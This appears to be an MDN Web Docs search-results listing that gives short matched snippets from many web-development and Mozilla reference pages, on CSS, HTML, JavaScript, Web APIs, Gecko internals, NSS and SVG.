... by the end of calendar year 2000, gecko is expected to support the following recommended open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont attributes: shape attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, summary, event, dir, align on table columns, la...
... in a future release) style sheets css 1 - full support, except for: the application of styles to html column elements the ability to turn off author styles the names of certain mozilla extension pseudo-classes lack the moz- prefix css 2 - partial support is expected and has already been built into gecko, including support for css2 positioning, but no commitment has been made to achieve a specific level of support dom level 0 level 1 core: full support making entityreferences available through dom1; per a provision of the dom1 spec for xml implementations, entities will be automatically expanded inline and therefore not available through dom1; our implementation extrapolates this provision to apply to entityreferences as we...
...And 4 more matches
Backgrounds and borders - Learn web development
the most common background-position values take two individual values — a horizontal value followed by a vertical value.
... multiple background images it is also possible to have multiple background images — you specify multiple background-image values in a single property value, separating each one with a comma.
... the other background-* properties can also have comma-separated values in the same way as background-image: background-image: url(image1.png), url(image2.png), url(image3.png), url(image4.png); background-repeat: no-repeat, repeat-x, repeat; background-position: 10px 20px, top right; each value of the different properties will match up to the values in the same position in the other properties.
...And 4 more matches
Cascade and inheritance - Learn web development
while working through this lesson may seem less immediately relevant and a little more academic than some other parts of the course, an understanding of these things will save you much pain later on!
... the color has applied to the direct children, but also the indirect children — the immediate child <li>s, and those inside the first nested list.
... which properties are inherited by default and which aren't is largely down to common sense.
...And 4 more matches
CSS values and units - Learn web development
in this lesson we will take a look at some of the most common values and units in use.
... unit name equivalent to cm centimeters 1cm = 96px/2.54 mm millimeters 1mm = 1/10th of 1cm q quarter-millimeters 1q = 1/40th of 1cm in inches 1in = 2.54cm = 96px pc picas 1pc = 1/6th of 1in pt points 1pt = 1/72th of 1in px pixels 1px = 1/96th of 1in most of these values are more useful when used for print, rather than screen output.
...the only value that you will commonly use is px (pixels).
...And 4 more matches
Introduction to CSS layout - Learn web development
proin blandit quam nec lacus varius commodo et a urna.
...proin blandit quam nec lacus varius commodo et a urna.
...proin blandit quam nec lacus varius commodo et a urna.
...And 4 more matches
Legacy layout methods - Learn web development
previous overview: css layout next grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
...proin blandit quam nec lacus varius commodo et a urna.
...proin blandit quam nec lacus varius commodo et a urna.
...And 4 more matches
What’s in the head? Metadata in HTML - Learn web development
instead, we'll explain a few things that you might commonly see, just to give you an idea.
...for example, the keyword <meta> element (<meta name="keywords" content="fill, in, your, keywords, here">) — which is supposed to provide keywords for search engines to determine relevance of that page for different search terms — is ignored by search engines, because spammers were just filling the keyword list with hundreds of keywords, biasing results.
...the most commonly used of these is the favicon (short for "favorites icon", referring to its use in the "favorites" or "bookmarks" lists in browsers).
...And 4 more matches
Responsive images - Learn web development
this is commonly known as the art direction problem.
...each value contains a comma-separated list, and each part of those lists is made up of three sub-parts.
...each set of image information is separated from the previous one by a comma.
...And 4 more matches
Video and audio content - Learn web development
a webm file containing a movie which has a main video track and one alternate angle track, plus audio for both english and spanish, in addition to audio for an english commentary track can be conceptualized as shown in the diagram below.
... also included are text tracks containing closed captions for the feature film, spanish subtitles for the film, and english captions for the commentary.
...one such instance is the flac codec, which is stored most commonly in flac files, which are just raw flac tracks.
...And 4 more matches
Introducing asynchronous JavaScript - Learn web development
when you fetch an image from a server, you can't return the result immediately.
...using callbacks is slightly old-fashioned now, but you'll still see them in use in a number of older-but-still-commonly-used apis.
... when we pass a callback function as an argument to another function, we are only passing the function's reference as an argument, i.e, the callback function is not executed immediately.
...And 4 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
introduction for a long time, the web platform has offered javascript programmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop.
...(see the note below on why it runs "as soon as possible" and not "immediately".) more on why you might want to do this later.
... as a consequence, code like settimeout(fn, 0) will execute as soon as the stack is empty, not immediately.
...And 4 more matches
Build your own function - Learn web development
we'd recommend you doing this exercise in a modern browser like firefox, opera, or chrome.
... try including the following line below your function to call it: displaymessage(); this line invokes the function, making it run immediately.
... when you save your code and reload it in the browser, you'll see the little message box appear immediately, only once.
...And 4 more matches
Functions — reusable blocks of code - Learn web development
previous overview: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times.
... pretty much anytime you make use of a javascript structure that features a pair of parentheses — () — and you're not using a common built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function.
... functions versus methods programmers call functions that are part of objects methods.
...And 4 more matches
Client-side storage - Learn web development
they're the earliest form of client-side storage commonly used on the web.
...however, this does not mean cookies are completely useless on the modern-day web — they are still used commonly to store data related to user personalization and state, e.g.
...the comments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text input box and saving it in web storage using setitem(), then running a function called namedisplaycheck() that will handle updating the actual website text.
...And 4 more matches
Drawing graphics - Learn web development
previous overview: client-side web apis next the browser contains some very powerful graphics programming tools, from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl).
...the web still had no way to effectively create animations, games, 3d scenes, and other requirements commonly handled by lower level languages such as c++ or java.
... we'll be using some common methods and properties across all of the below sections: beginpath() — start drawing a path at the point where the pen currently is on the canvas.
...And 4 more matches
Video and Audio APIs - Learn web development
this article shows you how to do common tasks such as creating custom playback controls.
...if you don't specify this, you get no playback controls: this is not as immediately useful for video playback, but it does have advantages.
... you can solve both these problems by hiding the native controls (by removing the controls attribute), and programming your own with html, css, and javascript.
...And 4 more matches
Storing the information you need — Variables - Learn web development
for these reasons and more, we recommend that you use let as much as possible in your code, rather than var.
... note: you can find a fairly complete list of reserved keywords to avoid at lexical grammar — keywords.
...you don't need to declare variable types in javascript, unlike some other programming languages.
...And 4 more matches
Componentizing our React app - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... that second bullet is especially valuable: making a component out of common ui elements allows you to change your code in one place and see those changes everywhere that component is used.
...the following commands make a components directory and then, within that, a file called todo.js.
...And 4 more matches
Getting started with Vue - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...it is recommended that you specify a version number when including vue on your site so that any framework updates do not break your live site without you knowing.) <script src="/static/external/29/29296ccacaa9ed35ed168fc51e36f54fd6f8db9c7786bbf38cc59a27229ba5c2.svg"></script> however, this approach has some limitations.
... to install the cli, run the following command in your terminal: npm install --global @vue/cli or if you'd prefer to use yarn: yarn global add @vue/cli once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run vue create <project-name>.
...And 4 more matches
Git and GitHub - Learn web development
different team members will commonly want to create their own separate versions of the code (called branches in git), work on a new feature in that version, and then get it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it.
...depending on how you like to work, you could use a git gui client (we'd recommend github desktop, sourcetree or git kraken) or just stick to using a terminal window.
... in fact, it is probably useful for you to get to know at least the basics of git terminal commands, even if you intend to use a gui.
...And 4 more matches
Accessibility Features in Firefox
in fact, the same keyboard commands are still available, so users can become comfortable and productive right away.
...a "smart keywords" feature enhances this even further by allowing custom searches from the command line such as "word punditry" to look up the word "punditry" in an online dictionary.
...chen is a screen reader extension built just for firefox which can read mathml community contributions the real reason behind firefox's success is the great community of volunteers and organizations that realize they have something to benefit from a browser open to utilizing their ideas and hard work.
...And 4 more matches
What to do and what not to do in Bugzilla
before you have canconfirm, you can still do good triaging by leaving comments with useful information on the bug that will help to confirm it.
... the same is true for editbugs: leave comments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly.
...if there are only a few comments in the bug, it may be reopened only if the original reporter provides more info, or confirms someone else's steps to reproduce.
...And 4 more matches
Frame script loading and lifetime
the script just writes "foo" to the command line: // chrome script var mm = gbrowser.selectedbrowser.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame.
... to define the mapping between a chrome:// url and a frame script packaged with an extension, use a "chrome.manifest" file to register a chrome url: // chrome.manifest content my-e10s-extension chrome/content/ // chrome script mm.loadframescript("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
... for example: var mm = window.messagemanager; mm.loadframescript("chrome://my-e10s-extension/content/frame-script.js", true); the script will be loaded into all tabs currently open in this window, and all new tabs opened afterwards.
...And 4 more matches
Performance
performance best practices declaring stateless functions once per process bad: // addon.js services.mm.loadframescript("framescript.js", true) // framescript.js const precomputedconstants = // ...
... store heavyweight state once per process bad: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // framescript.js var maincopy; function onupdate(message) { maincopy = myaddonservice.deserialize(message.data.newconfig); } addmessagelistener("my-addon:update-configuration", onupdate) // maincopy used by other functions the main issue here is that a separate object is kept for each tab.
... better: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.ppmm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // processmodule.jsm const exported_symbols = ['getmaincopy']; var maincopy; services.cpmm.addmessagelistener("my-addon:update-configuration", function(message) { maincopy = message.data.newconfig; }) funtion getmaincopy() { return maincopy; } // framescript.js components.utils.import("resource://my-addon/processmodule.jsm") // getmaincopy() used by other functions don't register observers (and other callbacks to global...
...And 4 more matches
HTML parser threading
nshtml5atom objects are guaranteed to be immutable and to stay alive for the lifetime of the parser instance, so it's safe for the main thread to call their methods (as is necessary to find the corresponding normal atom).
...this method returns immediately if another invocation of it is already on the call stack (nested event loop case).
...parser termination is checked before each tree op for an early return, because, unfortunately, gecko expects parsers to be able to terminate immediately.
...And 4 more matches
DeferredTask.jsm
void start(); flush obsolete since gecko 28 perform any postponed task immediately.
...the "finalize" method can be used in the common case of waiting for completion on shutdown.
... if the task is running and the timer is armed, then one last execution from start to finish will happen again, immediately after the current execution terminates; then the returned promise will be resolved.
...And 4 more matches
Mozilla Web Developer FAQ
the point of having a common api (the w3c dom) is interoperability, and checking for a particular browser defeats that purpose.
... contrary to a popular belief stemming from the behavior of a couple browsers running on the windows platform, alt isn’t an abbreviation for ‘tooltip’ but for ‘alternative’.
... authors are supposed to communicate their intentions using the web standards.
...And 4 more matches
Leak-hunting strategies and tips
strategy for finding leaks when trying to make a particular testcase not leak, i recommend focusing first on the largest object graphs (since these entrain many smaller objects), then on smaller reference-counted object graphs, and then on any remaining individual objects or small object graphs that don't entrain other objects.
...(or allocations?) all tier 1 platforms build with --enable-trace-malloc leak tools for simple objects and summary statistics tracemalloc all allocations all tier 1 platforms build with --enable-trace-malloc valgrind all allocations mac, linux build with --enable-valgrind and some other options lsan all allocations mac, linux any build apple tools ?
... build with --enable-trace-malloc common leak patterns when trying to find a leak of reference-counted objects, there are a number of patterns that could cause the leak: ownership cycles.
...And 4 more matches
Memory reporting
each reporter implements a collectreports function which takes a nsimemoryreportercallback argument; for each measurement the reporter must pass in several values, including: a path (which identifies the report); an amount (the most important thing); a unit (most commonly bytes, but sometimes a unitless count or percentage); a description of what is measured.
... size_t mystring::sizeofexcludingthis(mozilla::mallocsizeof amallocsizeof) const { return amallocsizeof(mbuffer); } size_t mystring::sizeofincludingthis(mozilla::mallocsizeof amallocsizeof) const { return amallocsizeof(this) + sizeofexcludingthis(amallocsizeof); } (note that sizeofexcludingthis and sizeofincludingthis aren't overrides of methods on a global base class that is common to all reporters.
... these names are just a convention that is commonly followed.
...And 4 more matches
TimerFirings logging
interface and observer timers only have an address, which is less useful, but they are uncommon enough that this usually doesn't matter much.
... first, on mac the code uses dladdr to get the name immediately, and the output will look like the following.
...indicates that the function timer lacks an explicit name, and the comment within the square brackets explains why the fallback mechanism wasn't used.
...And 4 more matches
powermetrics
powermetrics is a mac-only command-line utility that provides many high-quality power-related measurements.
... it is most useful for getting cpu, gpu and wakeup measurements in a precise and easily scriptable fashion (unlike activity monitor and top) especially in combination with rapl via the mach power command.
...the following command encompasses the most useful ones: sudo powermetrics --samplers tasks --show-process-coalition --show-process-gpu -n 1 -i 5000 --samplers tasks tells it to just do per-process measurements.
...And 4 more matches
Performance
the "leaks" tool is not recommended for use with spidermonkey or firefox, because it gets confused by tagged pointers and thinks objects have leaked when they have not (see bug 390944).
... investigating css performance how to figure out why restyle is taking so long power profiling power profiling overview this page provides an overview of relevant information, including details about hardware, what can be measured, and recommended approaches.
... tools/power/rapl (mac, linux) tools/power/rapl is a command-line utility in the mozilla codebase that uses the intel rapl interface to gather direct power estimates for the package, cores, gpu and memory.
...And 4 more matches
NSS FAQ
MozillaProjectsNSSFAQ
because nss provides complete support for all versions of ssl and tls, it is particularly well-suited for applications that need to communicate with the many clients and servers that already support the ssl protocol.
... nss was designed from the ground up for use by commercial developers.
... this section is out of date iplanet e-commerce solutions has certified nss 3.1 on 18 platforms, including aix 4.3, hp-ux 11.0, red hat linux 6.0, solaris (2.6 or later), windows nt (4.0 or later), and windows 2000.
...And 4 more matches
NSS API Guidelines
these rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules.
... high cert lib/certhigh ocsp.h, ocspt.h crmf provides functions, and data types, to handle certificate management message format (cmmf) and certificate request message format (crmf, see rfc 2511) data.
... cmmf no longer exists as a proposed standard; cmmf functions have been incorporated into the proposal for certificate management protocols (cmp).
...And 4 more matches
NSS tools : pk12util
name pk12util — export and import keys and certificate to or from a pkcs #12 file and the nss database synopsis pk12util [-i p12file [-h tokenname] [-v] [common-options] ] [ -l p12file [-h tokenname] [-r] [common-options] ] [ -o p12file -n certname [-c keycipher] [-c certcipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [common-options] ] [ common-options are: [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] ] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
...changing the names of the certificate and key databases is not recommended.
... -m | --key-len keylength specify the desired length of the symmetric key to be used to encrypt the private key.
...And 4 more matches
Scripting Java
we can also aid our java development by using scripting for exploratory programming.
... exploratory programming is the process of learning about what a library or api can do by writing quick programs that use it.
... note that the ecma standard doesn't cover communication with java (or with any external object system for that matter).
...And 4 more matches
Rebranding SpiderMonkey (1.8.5)
after installing the build pre-requisites and downloading the spidermonkey source tarball issue the following commands at the terminal: cd js/src autoconf-2.13 for the remainder of this document wherever you see the text $brand you will substitute that text with the name of your brand.
...the only required part in this step is the ../configure command.
...in the unix world we would issue the following command: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation.
...And 4 more matches
SpiderMonkey Internals
but since js-to-c-to-js call stacks are common, the interpreter is reentrant.
...common cases are inlined in the interpreter loop, breaking any abstractions that stand in the way.
...it translates postfix bytecode into infix source by consulting a separate byte-sized code, called source notes, to disambiguate bytecodes that result from more than one grammatical production.
...And 4 more matches
MailNews fakeserver
fakeserver is a testing server that implements a generic text-based protocol common to all major mailnews protocols (pop, imap, smtp, and nntp) designed for use in automated tests.
...it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of commands.
...a handler will contain the following methods: <caption> handler methods </caption> name arguments returns notes [command] rest of sent line server's response the name is normalized to be uppercase.
...And 4 more matches
URLs - Plugins
the table below summarizes urls supported by gecko.
... note that npn_geturl is typically asynchronous: it returns immediately and only later handles the request, such as displaying the url or creating the stream for the instance and writing the data.
...for some recommendations to help you with target parameter choice, see the reference entry for npn_geturl.
...And 4 more matches
DOM Inspector internals - Firefox Developer Tools
at the top of each panel is a toolbar which contains a menu button allowing you to choose which viewer to display from the viewer list, a label displaying the name of the currently active viewer, and another menu button allowing you to issue viewer-specific commands.
...its contents should resemble the following: extensions/ … jsutil/ … prefs/ … res/ … tests/ … viewers/ … browseroverlay.xul commandoverlay.xul editingoverlay.xul flasher.js hooks.js inspector.css inspector.js inspectoroverlay.xul inspector.xml inspector.xul keysetoverlay.xul object.js object.xul popupoverlay.xul sidebar.js sidebar.xul statusbaroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul toolboxoverlay.xul utils.j...
...e overlays are: browseroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul venkmanoverlay.xul prefs/prefsoverlay.xul further examination of the chrome manifest will reveal that dom inspector also uses conditional overlays on its primary window: overlay chrome://inspector/content/inspector.xul chrome://communicator/content/utilityoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspector/content/inspector.xul chrome://communicator/content/tasksoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspector/content/inspector.xul chrome://browser/content/basemenuoverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} these host-provid...
...And 4 more matches
Using Fetch - Web APIs
a headers object is a simple multi-map of names to values: const content = 'hello world'; const myheaders = new headers(); myheaders.append('content-type', 'text/plain'); myheaders.append('content-length', content.length.tostring()); myheaders.append('x-custom-header', 'processthisimmediately'); the same can be achieved by passing an array of arrays or an object literal to the constructor: const myheaders = new headers({ 'content-type': 'text/plain', 'content-length': content.length.tostring(), 'x-custom-header': 'processthisimmediately' }); the contents can be queried and retrieved: console.log(myheaders.has('content-type')); // true console.log(myheaders.has('set...
...-cookie')); // false myheaders.set('content-type', 'text/html'); myheaders.append('x-custom-header', 'anothervalue'); console.log(myheaders.get('content-length')); // 11 console.log(myheaders.get('x-custom-header')); // ['processthisimmediately', 'anothervalue'] myheaders.delete('x-custom-header'); console.log(myheaders.get('x-custom-header')); // [ ] some of these operations are only useful in serviceworkers, but they provide a much nicer api for manipulating headers.
...the mutation operations will throw a typeerror if there is an immutable guard (see below).
...And 4 more matches
HTMLInputElement - Web APIs
formmethod string: returns / sets the element's formmethod attribute, containing the http method that the browser uses to submit the form.
... properties that apply only to elements of type file accept string: returns / sets the element's accept attribute, containing comma-separated list of file types accepted by the server when type is file.
...when there's no selection, this returns the offset of the character immediately following the current text input cursor position.
...And 4 more matches
HTMLMediaElement - Web APIs
the htmlmediaelement interface adds to htmlelement the properties and methods needed to support basic media-related capabilities that are common to audio and video.
...a group of media elements shares a common mediacontroller.
...this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-communications.
...And 4 more matches
HTMLScriptElement - Web APIs
if neither attribute is present, then the script is fetched and executed immediately, blocking further parsing of the page.
... htmlscriptelement.text is a domstring that joins and returns the contents of all text nodes inside the <script> element (ignoring other nodes like comments) in tree order.
... examples dynamically importing scripts let's create a function that imports new scripts within a document creating a <script> node immediately before the <script> that hosts the following code (through document.currentscript).
...And 4 more matches
The HTML DOM API - Web APIs
support for interacting with the user by examining focus and by executing commands on editable content.
... the htmlelement interface is generic, however, providing only the functionality common to all html elements such as the element's id, its coordinates, the html making up the element, information about scroll position, and so forth.
... there are elements that share commonalities and thus have an additional intermediary type.
...And 4 more matches
Performance - Web APIs
specifications specification status comment high resolution time level 2the definition of 'performance' in that specification.
... recommendation defines tojson() method.
... recommendation defines now() method.
...And 4 more matches
RTCIceCandidateStats.relayProtocol - Web APIs
the rtcicecandidatestats dictionary's relayprotocol property specifies the protocol being used by a local ice candidate to communicate with the turn server.
... syntax relayprotocol = rtcicecandidatestats.relayprotocol; value a domstring identifying the protocol being used by the endpoint to communicate with the turn server.
... the possible values are: tcp tcp (transport control protocol) is being used to communicate with the turn server.
...And 4 more matches
SVGSVGElement - Web APIs
this interface contains also various miscellaneous commonly-used utility methods, such as matrix operations and the ability to control the time of redraw on visual rendering devices.
...when the browser actually knows the physical size of a "screen unit", this float attribute will express that information; otherwise, user agents will provide a suitable default value (such as .28mm).
... svgsvgelement.forceredraw() in rendering environments supporting interactivity, forces the user agent to immediately redraw all regions of the viewport that require updating.
...And 4 more matches
TextRange - Web APIs
WebAPITextRange
textrange.execcommand() executes a command on the current document, the current selection, or the given scope.
... textrange.querycommandenabled() returns a boolean indicating whether the specified command can be executed successfully with the execcommand method in the current state of the given document.
... you can also see document.querycommandenabled().
...And 4 more matches
WebGLRenderingContext.getError() - Web APIs
the command is ignored and the error flag is set.
...the command is ignored and the error flag is set.
... gl.invalid_operation the specified command is not allowed for the current state.
...And 4 more matches
WebGLRenderingContext - Web APIs
webglrenderingcontext.commit() pushes frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... webglrenderingcontext.uniformmatrix[234]fv() specifies a matrix value for a uniform variable.
... webglrenderingcontext.finish() blocks execution until all previously called commands are finished.
...And 4 more matches
Window.open() - Web APIs
WebAPIWindowopen
windowfeatures optional a domstring containing a comma-separated list of window features given with their corresponding values in the form "name=value".
... note that remote urls won't load immediately.
... window features windowfeatures is an optional string containing a comma-separated list of requested features of the new window.
...And 4 more matches
XRSessionMode - Web APIs
values immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment.
... important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
... immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment.
...And 4 more matches
:empty - CSS: Cascading Style Sheets
WebCSS:empty
comments, processing instructions, and css content do not affect whether an element is considered empty.
...--></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around this comment.
... --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements around this comment.
...And 4 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
</p> <p> ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...And 4 more matches
OpenType font features guide - CSS: Cascading Style Sheets
some fonts will have one or more of these features enabled by default (kerning and default ligatures are common examples), while others are left to the designer or developer to choose to enable in specific scenarios.
...this is generally on by default (as recommended by the opentype specification).
...some of the most common are letters like 'fi', 'fl', or 'ffl' — but there are many other possibilities.
...And 4 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
WebCSSCascade
to simplify the development process, web developers often use a css reset style sheet, forcing common properties values to a known state before beginning to make alterations to suit their specific needs.
... author stylesheets author stylesheets are the most common type of style sheet.
... all lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.
...And 4 more matches
display - CSS: Cascading Style Sheets
WebCSSdisplay
ty of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing common layouts using grids accessibility concerns display: none using a display value of none on an element will remove it from the accessibility tree.
... specifications specification status comment css display module level 3the definition of 'display' in that specification.
... candidate recommendation added run-in, flow, flow-root, contents, and multi-keyword values.
...And 4 more matches
font-family - CSS: Cascading Style Sheets
values are separated by commas to indicate that they are alternatives.
...space; font-family: cursive; font-family: fantasy; font-family: system-ui; font-family: ui-serif; font-family: ui-sans-serif; font-family: ui-monospace; font-family: ui-rounded; font-family: emoji; font-family: math; font-family: fangsong; /* global values */ font-family: inherit; font-family: initial; font-family: unset; the font-family property lists one or more font families, separated by commas.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace examples some common font families .serif { font-family: times, times new roman, georgia, serif; } .sansserif { font-family: verdana, arial, helvetica, sans-serif; } .monospace { font-family: lucida console, courier, monospace; } .cursive { font-family: cursive; } .fantasy { font-family: fantasy; } .emoji { font-family: emoji; } .math { font-family: math; } .fangsong { font-family: fangsong;...
...And 4 more matches
font-weight - CSS: Cascading Style Sheets
certain commonly used values correspond to common weight names, as described in the common weight name mapping section below.
... inherited value bolder lighter 100 400 100 200 400 100 300 400 100 400 700 100 500 700 100 600 900 400 700 900 400 800 900 700 900 900 700 common weight name mapping the numerical values 100 to 900 roughly correspond to the following common weight names (see the opentype specification): value common weight name 100 thin (hairline) 200 extra light (ultra light) 300 light 400 normal (regular) 500 medium 600 semi bold (demi bold) 700 bold ...
... 800 extra bold (ultra bold) 900 black (heavy) 950 extra black (ultra black) variable fonts most fonts have a particular weight which corresponds to one of the numbers in common weight name mapping.
...And 4 more matches
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
value a domstring representing a telephone number, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents a telephone number or is an empty string ("")...
... using tel inputs telephone numbers are a very commonly collected type of data on the web.
... when creating any kind of registration or e-commerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes.
...And 4 more matches
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
associating a <label> with an <input> element offers some major advantages: the label text is not only visually associated with its corresponding text input; it is programmatically associated with it too.
...-and-conditions.html">terms and conditions</a> </label> do <label for="tac"> <input id="tac" type="checkbox" name="terms-and-conditions"> i agree to the terms and conditions </label> <p> <a href="terms-and-conditions.html">read our terms and conditions</a> </p> headings placing heading elements within a <label> interferes with many kinds of assistive technology, because headings are commonly used as a navigation aid.
... technical summary content categories flow content, phrasing content, interactive content, form-associated element, palpable content.
...And 4 more matches
<menu> - HTML: Hypertext Markup Language
WebHTMLElementmenu
the html <menu> element represents a group of commands that a user can perform or activate.
... context : indicates the popup menu state, which represents a group of commands activated through another element.
... toolbar: indicates the toolbar state, which represents a toolbar consisting of a series of commands for user interaction.
...And 4 more matches
Global attributes - HTML: Hypertext Markup Language
global attributes are attributes common to all html elements; they can be used on all elements, though they may have no effect on some elements.
...note that it is recommended for styles to be defined in a separate file or files.
... specifications specification status comment html living standardthe definition of 'global attributes' in that specification.
...And 4 more matches
HTTP conditional requests - HTTP
use cases cache update the most common use case for conditional requests is updating a cache.
... avoiding the lost update problem with optimistic locking a common operation in web applications is to update a remote document.
... this is very common in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism.
...And 4 more matches
Content negotiation - HTTP
even if server-driven content negotiation is the most common way to agree on a specific representation of a resource, it has several drawbacks: the server doesn't have total knowledge of the browser.
...it is comma-separated lists of mime types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different mime types.
...browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available.
...And 4 more matches
MathML documentation index - MathML
WebMathMLIndex
found 40 pages: # page tags and summary 1 mathml landing, mathml, reference, web, xml mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content.
... 14 <mfenced> deprecated, mathml, mathml reference, mathml:element, mathml:general layout schemata the deprecated mathml <mfenced> element used to provide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as commas or semicolons) to an expression.
... 19 <mmultiscripts> mathml, mathml reference, mathml:element, mathml:script and limit schemata the mathml <mmultiscripts> element allows you to create tensor-like objects.
...And 4 more matches
Performance fundamentals - Web Performance
a television probably looks choppy and unrealistic to a hummingbird, for example.
...the html/css layout and graphics code in gecko reduces invalidation and repainting for common cases like scrolling; developers get this support "for free".
...in turn, gecko's graphics pipeline is highly optimized to render common animations efficiently.
...And 4 more matches
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
value list of <length> default value none animatable yes specifications specification status comment filter effects module level 1the definition of 'dx' in that specification.
... candidate recommendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification.
... recommendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification.
...And 4 more matches
dy - SVG: Scalable Vector Graphics
WebSVGAttributedy
value list of <length> default value none animatable yes specifications specification status comment filter effects module level 1the definition of 'dy' in that specification.
... candidate recommendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification.
... recommendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification.
...And 4 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
found 383 pages: # page tags and summary 1 svg: scalable vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content.
... 8 other resources reference, svg here is a list of additional resources on svg: 9 project svg no summary!
... 15 svg core attributes attribute, intermediate, reference, svg the svg core attributes are all the common attributes that can be specified on any svg element.
...And 4 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
uris are commonly used because they are unique, the intention is not to "link" somewhere.
... (in fact uris are used so frequently that the term "namespace uri" is commonly used instead of "namespace name".) redeclaring the default namespace so if all the descendants of the root element are also defined to be in the default namespace, how do you mix in content from another namespace?
...this parameter is commonly used by other xml dialects as a means to link to external resources.
...And 4 more matches
Transport Layer Security - Web security
